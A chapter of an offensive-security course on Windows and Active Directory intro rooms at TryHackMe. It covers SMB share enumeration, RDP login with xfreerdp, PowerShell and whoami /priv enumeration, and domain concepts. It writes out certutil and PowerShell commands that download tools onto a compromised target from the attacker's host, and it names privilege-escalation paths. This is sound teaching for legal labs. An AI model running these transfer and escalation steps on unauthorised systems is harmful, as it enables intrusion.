Step 254. THM Windows/AD Intro Rooms (18 Cumulative) — Meeting the Protagonist of Corporate Environments

Level 3 — Real-World CTF & Advanced Offensive Skills | Difficulty ★★★☆☆ | Estimated time: 4 hours

Prerequisites: Step 11~14 (Windows basics and PowerShell intro), Step 251~253 (THM environment and routine, 13 cumulative).

What you need: Step 251’s THM environment (including OpenVPN), your own Windows PC (for local hands-on practice — measured: Windows 10/11 Korean edition), your routine-recording document.
⚠️ All exercises in this chapter are for your own lab and legal platforms only. Applying them to unauthorized systems is a crime. TryHackMe (tryhackme.com) is a legal learning platform officially opened by its operators for attack practice — do not use today’s techniques on anything other than this platform’s room machines and your own Windows PC.
Measurement note: the Windows command outputs in 3-1~3-2 are measured on my PC (2026-09-09). The RDP connections and attack scenes on THM machines are all screen examples.

Every machine you’ve cracked so far was Linux. But the protagonist of real corporate environments is Windows — office PCs, file servers, and the Active Directory (AD) that manages them all. Starting today, the attack surface changes completely. RDP instead of SSH, PowerShell instead of bash, domain accounts instead of /etc/passwd.

THM’s Windows intro rooms (the Windows Fundamentals series, Blue, and others) are your guides to this new world. Today’s goal, more than the number 18 cumulative, is to gain the eye for looking at a Windows machine — which open port makes you suspect what, and what you type first once you have a shell.

1. Learning Objectives

By the end of this chapter, you will be able to:

Build an approach strategy upon seeing a Windows machine’s signature service ports (SMB 445, RDP 3389, WinRM 5985)
Enumerate shared folders with smbclient and attempt RDP connections with xfreerdp
Read basic PowerShell enumeration commands (Get-Process, Get-Service, whoami /priv)
Explain three ways to move files onto a Windows target (certutil, PowerShell download, SMB)
State the difference between workgroup and domain, and the role of a domain controller (DC), in one sentence each

2. Background Knowledge — Today’s Tools and Concepts

Today’s Tools at a Glance

Category	Details
Language/environment	THM Windows room machines + attack machine (Kali/WSL) + your own Windows PC (local practice)
Today’s commands	`smbclient -L //IP`, `xfreerdp /u:user /v:IP`, `whoami /priv`, `Get-Service`
Concepts needed	SMB shares, RDP, WinRM, PowerShell enumeration, workgroup vs domain, DC
Today’s deliverable	18 cumulative rooms completed + Windows basic enumeration routine added

2-1. The Ports Change — Windows’ Three Signature Services

On Linux machines, the protagonists of nmap results were 22 (SSH) and 80 (HTTP). On Windows machines, ports with different faces appear.

Port	Service	What it does	The attacker’s gaze
445	SMB	File & printer sharing	Share enumeration, anonymous access, credential theft
3389	RDP	Remote desktop screen access	With an account, log into the whole GUI
5985/5986	WinRM	Remote command-execution management	With an account, shell-level remote execution

If SSH is "the command-line door," RDP is "the door to the entire screen." Because one account-password pair opens the whole graphical desktop, the weight of credentials on Windows machines is far greater than on Linux.

2-2. SMB Enumeration — A Windows Machine’s First Greeting

SMB (Server Message Block) is the standard protocol for Windows file sharing. From a Linux attack machine, you peer into these shares with smbclient.

# view the target's share list (screen example)
smbclient -L //10.10.10.10 -N

	Sharename       Type      Comment
	---------       ----      -------
	ADMIN$          Disk      Remote Admin
	C$              Disk      Default share
	IPC$            IPC       Remote IPC
	SharedDocs      Disk

How to read the output: -N means ask without a password (null session). Names with a $ suffix like ADMIN$, C$, IPC$ are administrative default shares — normal. What deserves attention is a user-created share like SharedDocs — an anonymously readable share containing config files or password memos is a staple structure of Easy rooms.

2-3. RDP Connection — Borrowing the Whole Screen

Once you have an account and password, connect with RDP (Remote Desktop Protocol). On a Linux attack machine, xfreerdp is the standard client.

# (screen example) connect with username and target IP
xfreerdp /u:username /p:password /v:10.10.10.10 /cert:ignore

Many THM Windows rooms actually hand out RDP credentials on the room page and start with "try connecting" — at the intro stage, RDP isn’t the result of an attack but the starting point of practice. /cert:ignore is the option that skips self-signed certificate warnings; on lab machines, consider it always necessary.

2-4. PowerShell Enumeration — What’s Different from Linux

Once you have a shell (or RDP session) on a Windows machine, enumeration happens in PowerShell. Let’s re-view the commands you learned in Step 13~14 from an attacker’s perspective.

Purpose	Linux	Windows (PowerShell/cmd)
Who am I	`whoami`, `id`	`whoami`, `whoami /priv`
View processes	`ps aux`	`Get-Process`
View services	`systemctl list-units`	`Get-Service`
Network state	`ip a`, `ss -tlnp`	`ipconfig /all`, `netstat -ano`
User list	`cat /etc/passwd`	`net user`

The single most important one here is whoami /priv. It shows the list of privileges attached to your account, and this output is the map of Windows privilege escalation. We’ll see actual output in 3-2.

2-5. A Taste of Domains — The Structure That Manages the Whole Company

Every machine so far was a "PC standing alone." That state is called a workgroup — each PC keeps its own account ledger separately.

A domain is different. It’s a structure where hundreds of company PCs share one ledger, and the server holding that ledger is the Domain Controller (DC). An employee logs in with the same account on any PC — because the DC verifies accounts on their behalf.

Workgroup: PC1(ledger1)  PC2(ledger2)  PC3(ledger3)   ← each separate
Domain:    PC1 ─┐
           PC2 ─┼─ DC (shared ledger: users, groups, policies)
           PC3 ─┘

The meaning of this structure for an attacker is clear — seize the DC and every account and every PC in the domain comes along. Today you grasp the concepts at the entrance of this world and move on. Serious AD attacks are the job of later chapters.

3. Follow Along

Sections 3-1~3-2 are a hands-on measurement stretch you can run right now on your own Windows PC; 3-3~3-5 show the flow on THM machines (screen examples).

3-1. Windows Enumeration Starting from Your Own PC

You can practice enumeration commands without a target machine — your own PC is the best practice target. Open PowerShell and follow along.

Input:

Get-Process | Sort-Object CPU -Descending | Select-Object -First 6 Name, Id, CPU

Output (measured on my PC, 2026-09-09):

Name                   Id          CPU
----                   --          ---
ChatGPT             41684    16405.875
ChatGPT              5408 15141.828125
cloud-drive-daemon  24832 11939.015625
Kimi                23744  4457.078125
ChatGPT             28216  3453.796875
AdskIdentityManager 21440   2452.09375

How to read the output: sorted by CPU time. The reason you type this command on a compromised machine is to figure out "what’s running on this PC" — if you see an antivirus, a backup agent, or management tools, your course of action changes. Your output will naturally differ. Check the running service count too.

(Get-Service | Where-Object {$_.Status -eq 'Running'}).Count

How to read the output (measured: 148): even an ordinary user’s PC runs services in the hundreds. When viewing a service list on a compromised machine, the goal isn’t this number but finding "names that stand out abnormally."

3-2. whoami /priv — The Map of Privilege Escalation

This one’s a command typed in cmd (Command Prompt); it works in PowerShell too.

Input:

whoami /priv

Output (measured on my PC, 2026-09-09 — on Korean Windows the results print in Korean):

사용 권한 이름                설명                          상태
============================= ============================= ==========
SeShutdownPrivilege           시스템 종료                   사용 안 함
SeChangeNotifyPrivilege       트래버스 검사 무시            사용
SeUndockPrivilege             도킹 스테이션에서 컴퓨터 제거 사용 안 함
SeIncreaseWorkingSetPrivilege 프로세스 작업 집합 향상       사용 안 함
SeTimeZonePrivilege           시간대 변경                   사용 안 함

How to read the output: for a regular user, this much is about all there is. What an attacker looks for isn’t here — things like SeImpersonatePrivilege (the right to act as another user) or SeDebugPrivilege (the right to inspect any process). When these two are visible, the famous Windows privesc ladders (the PrintSpoofer, GodPotato family) open up. If you type whoami /priv on a compromised machine and these names are there, you can consider the round as good as solved.

3-3. Entering a THM Windows Room — First Contact via RDP

Now let’s go to THM. Open a Windows Fundamentals-series room and start the machine, and the room page shows RDP credentials (screen example):

Machine IP: 10.10.10.10
Username: user
Password: TryHackMe123!

Connect from your attack machine (Kali/WSL) (screen example):

xfreerdp /u:user /p:'TryHackMe123!' /v:10.10.10.10 /cert:ignore

[20:00:01:123] [INFO] com.freerdp.core - freerdp_connect:freerdp_set_last_error_ex resetting error state
[20:00:02:456] [INFO] com.freerdp.client.common - Network disconnect!

How to read the output: if a separate window opens showing the target machine’s desktop as-is, you’ve succeeded. For the next few hours, you’ll be remotely using "someone else’s Windows PC." If no window opens and you get an error, see Wall 2 in Section 6.

3-4. The Attack Flow of a Blue-Type Room — From nmap to SMB

The typical flow of a Windows penetration intro room (Blue, etc.). Screens are examples.

Input (screen example):

nmap -sV -p- 10.10.10.10

Example output:

PORT     STATE SERVICE      VERSION
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds
3389/tcp open  ms-wbt-server Microsoft Terminal Services

How to read the output: the landscape differs from a Linux machine — when 445 (SMB) and 3389 (RDP) show, "this is Windows." On top of that, -sV reads even the OS and service-pack version. That version info is itself a hypothesis — "Windows 7 SP1? Wouldn’t there be known vulnerabilities?" From here the search-and-verify cycle begins. The room’s question list ("how many ports are open?", "what is this machine’s vulnerability CVE number?") guides you through this order.

3-5. Three Ways to Move Files — Windows’ Unique Hurdle

The first wall beginners hit when attacking Windows machines is "how do I upload a file from my attack machine to the Windows target?" Learn these three representative methods.

① certutil (from cmd)
   certutil -urlcache -split -f http://myIP:8000/winPEAS.exe wp.exe
   → built into Windows by default, nothing to install

② PowerShell web download
   powershell -c "iwr http://myIP:8000/winPEAS.exe -OutFile wp.exe"
   → the most common method on modern Windows

③ via SMB share
   open an smb server on the attack machine, copy from the target as \myIPsharewp.exe
   → the detour when a firewall blocks HTTP

How to read the output: ① and ② both serve the file from the attack machine with python3 -m http.server 8000 and pull it — the Windows edition of your wget habit from Linux. Uploading winPEAS (the automated Windows privesc enumeration tool — linPEAS’ Windows version) will be this technique’s first real-world use.

4. Missions & Exercises

Mission — Establishing the Windows Routine and Reaching 18 Cumulative

Run the commands from 3-1~3-2 yourself on your own Windows PC and record the output (especially the privilege list from whoami /priv)
Progress through Windows intro rooms on THM — at least 1 from the Windows Fundamentals series plus a penetration intro room (Blue, etc.), totaling 18 cumulative
On one Windows machine, actually perform: RDP connection → PowerShell enumeration → file transfer (one of the three from 3-5)
For machines whose nmap results show 445/3389/5985, jot down your approach order (your own order, like "SMB enumeration first")
Add a "Windows machines only" section to your routine-recording document (Step 251’s template) — organize only the parts where commands differ from Linux
Write one sentence each for the three words workgroup/domain/DC, without looking at the book

Exercises

Exercise 1. When ports 445, 3389, and 5985 each appear in nmap results, write one first action an attacker would try for each port.

Exercise 2. Name two privileges an attacker especially welcomes in whoami /priv output, and explain why.

Exercise 3. Explain how the blast radius differs between a workgroup environment and a domain environment when "one PC’s administrator password is obtained."

Exercise 4. On a Linux target, a single wget http://myIP/tool uploads a tool — why must you learn a separate "three ways to move files" for Windows targets?

5. Model Answers & Completion Criteria

Mission Model Answer

An example of the shape of the "Windows only" section to add to your routine document:

### Windows-machine-only routine (added Step 254)
- Recon: if nmap shows 445/3389/5985 → Windows; always confirm OS version with -sV
- SMB: smbclient -L //IP -N → enumerate shares without $ first
- RDP: with credentials, xfreerdp /u: /p: /v:IP /cert:ignore
- First commands after shell: whoami /priv → systeminfo → Get-Service
- Privilege check: if SeImpersonate / SeDebug shows, consider the Potato family path
- File transfer: python3 -m http.server + certutil or iwr

How to verify: ① Is your THM profile’s cumulative completion count 18? ② Is your PC’s whoami /priv output in your records? ③ Is there evidence (screenshot or notes) that you typed PowerShell commands on a machine you RDP’d into? ④ Does the Windows section exist in your routine document with actual commands? ⑤ Did you write the three domain-word explanations without the book?

Exercise Answers

Answer 1. For 445 (SMB): anonymous share enumeration first with smbclient -L //IP -N — credentials or config files often turn up in readable shares. For 3389 (RDP): attempt an xfreerdp login with obtained credentials — if you have no account yet, mark it as "a door to use later" for now. For 5985 (WinRM): after obtaining an account, use it as the channel for remote command execution (e.g., evil-winrm). For all three, the principle is "anonymous possibilities first; things requiring accounts come later."

Answer 2. SeImpersonatePrivilege and SeDebugPrivilege. SeImpersonatePrivilege is the right to "act as another user," and exploits in the so-called ‘Potato’ family like PrintSpoofer and GodPotato use this privilege to escalate to SYSTEM — it’s commonly attached to service accounts, so you meet it often when you’ve penetrated via a web shell. SeDebugPrivilege lets you attach to any process and read its memory, opening the path to extracting credentials from administrator processes.

Answer 3. In a workgroup, each PC keeps its own account ledger, so obtaining one PC’s password in principle opens only that one PC (assuming no password reuse). In a domain, the account ledger sits in one place, the DC — so obtaining one domain account lets you log in on every PC in the domain where that account is permitted, and seizing the DC opens the entire domain. That’s why in domain environments a path exists, structurally, for "one machine’s compromise" to spread into "the whole’s compromise."

Answer 4. Linux effectively always has wget and curl installed, so "downloading" ends with one basic command. Windows long lacked an equivalent general-purpose command-line downloader, and which tool you can use varies by version and environment — certutil is a safe bet on older versions, PowerShell’s iwr (Invoke-WebRequest) is the standard on modern ones, and detours like going via SMB share are needed where HTTP is blocked. On top of that, the tools available are limited by the privileges of the compromised account, so you need to know several means to pick the one that works.

Completion Criteria Checklist

[ ] I ran whoami /priv on my own PC and recorded the output
[ ] I can state the meaning of ports 445/3389/5985 and the first action for each
[ ] I tried share enumeration with smbclient -L //IP -N
[ ] I connected to a Windows machine via RDP with xfreerdp
[ ] I can explain the three file-transfer methods (certutil, iwr, SMB)
[ ] I completed 18 cumulative THM rooms
[ ] I added a Windows-only section to my routine document
[ ] I can explain workgroup/domain/DC in one sentence each

6. Common Pitfalls & Fixes

Wall 1. smbclient -L //IP -N refuses you

Symptom (example output):

session setup failed: NT_STATUS_ACCESS_DENIED

Cause: that machine has anonymous (null session) enumeration blocked. Modern Windows defaults to refusal.
Fix: it’s a normal situation, so don’t panic. If you have credentials, do authenticated enumeration with smbclient -L //IP -U username%password; if not, broaden your investigation to other ports. "Anonymous refusal = stuck" is wrong — "anonymous refusal = this room’s entrance isn’t SMB" is information.

Wall 2. The xfreerdp connection stalls on a certificate warning

Symptom (example output):

[ERROR] com.freerdp.core.transport - ... certificate verification failed

Cause: lab machines use self-signed certificates, and freerdp tries to verify them by default.
Fix: attach the /cert:ignore option. On older freerdp versions, the format is /cert-ignore.

Wall 3. The RDP window goes black or closes immediately

Symptom: the connection seems to work, but the screen comes up black or the session drops.
Cause: often a screen-size negotiation failure, or another session already holding the machine.
Fix: try fixing the resolution with /size:1280x720. If it still fails, add the /admin option (administrative session), or restart the machine and reconnect. If no window opens at all from WSL, it’s an X server issue — you can detour via THM’s web AttackBox or your own Windows’ "Remote Desktop Connection" (mstsc).

Wall 4. The certutil download silently fails

Symptom: you typed certutil -urlcache -split -f ... but no file appeared.
Cause — one of three: ① the attack machine’s http.server isn’t running or the IP is wrong, ② antivirus (Defender) deleted it the moment it arrived, ③ a proxy/firewall.
Fix: ① Check that python3 -m http.server 8000 is up on the attack machine and that the IP you used is the one visible to the target (ip addr show tun0). ② If the file vanishes immediately after downloading, that’s antivirus detection — in labs, use a practice-folder exclusion or a different transfer path (SMB). Remember that certutil’s "download feature" is a habitual behavior antiviruses target.

Wall 5. whoami /priv shows no special privileges at all

Symptom: you typed it on a practice machine and only ordinary privileges like 3-2’s appear.
Cause: the account holding your current shell is a regular user, and this machine’s escalation path isn’t in the privilege family.
Fix: the privilege list is only one piece of the map. Look at the other branches — the OS version in systeminfo (kernel-exploit candidates), abnormal services in Get-Service, other accounts in net user, misconfigurations like AlwaysInstallElevated. Windows escalation is a repetition of "if one doesn’t work, the next branch," and the full list of those branches is organized in the later Windows privesc chapter.

7. Summary

Today’s Concepts

Concept	One-line explanation
SMB (445)	Windows file/printer sharing protocol — anonymous enumeration is the first gate
RDP (3389)	Remote desktop — full GUI access with one credential pair
WinRM (5985/5986)	Windows remote management — the remote command channel after account capture
Null session	Anonymous SMB query without a password (`-N`)
whoami /priv	My account’s privilege list — the map of Windows escalation paths
SeImpersonatePrivilege	The right to act as another user — the Potato family’s target
Workgroup	A structure where each PC keeps its account ledger separately
Domain / DC	A shared account-ledger structure / the server holding that ledger (domain controller)
winPEAS	Automated Windows privesc enumeration tool (the Windows edition of linPEAS)

Today’s Commands & Tools

Command	What it does
`smbclient -L //IP -N`	Anonymous SMB share enumeration
`xfreerdp /u:user /p:password /v:IP /cert:ignore`	RDP remote desktop connection
`whoami /priv`	Check my privilege list
`Get-Process`, `Get-Service`	Process/service enumeration (PowerShell)
`certutil -urlcache -split -f URL file`	Download with a built-in Windows tool
`iwr URL -OutFile file`	PowerShell web download
`python3 -m http.server 8000`	File serving on the attack-machine side

An Instinct More Important Than Commands

On Windows machines, Linux instincts only half work. The ports’ faces are different (445/3389), the weight of credentials is different (one RDP login, the whole screen), and even moving tools is a technique of its own. What you learned today isn’t a handful of commands but "the first 5 minutes upon meeting a Windows machine" — the order of seeing 445 and 3389 in nmap, knocking on SMB, and typing whoami /priv first once you have a shell. And you now stand at the entrance of the concept called domain. One PC in a workgroup and one PC in a domain mean completely different things to an attacker — that instinct becomes the bedrock of the entire AD stretch ahead.

Once every box is checked, Step 254 is complete.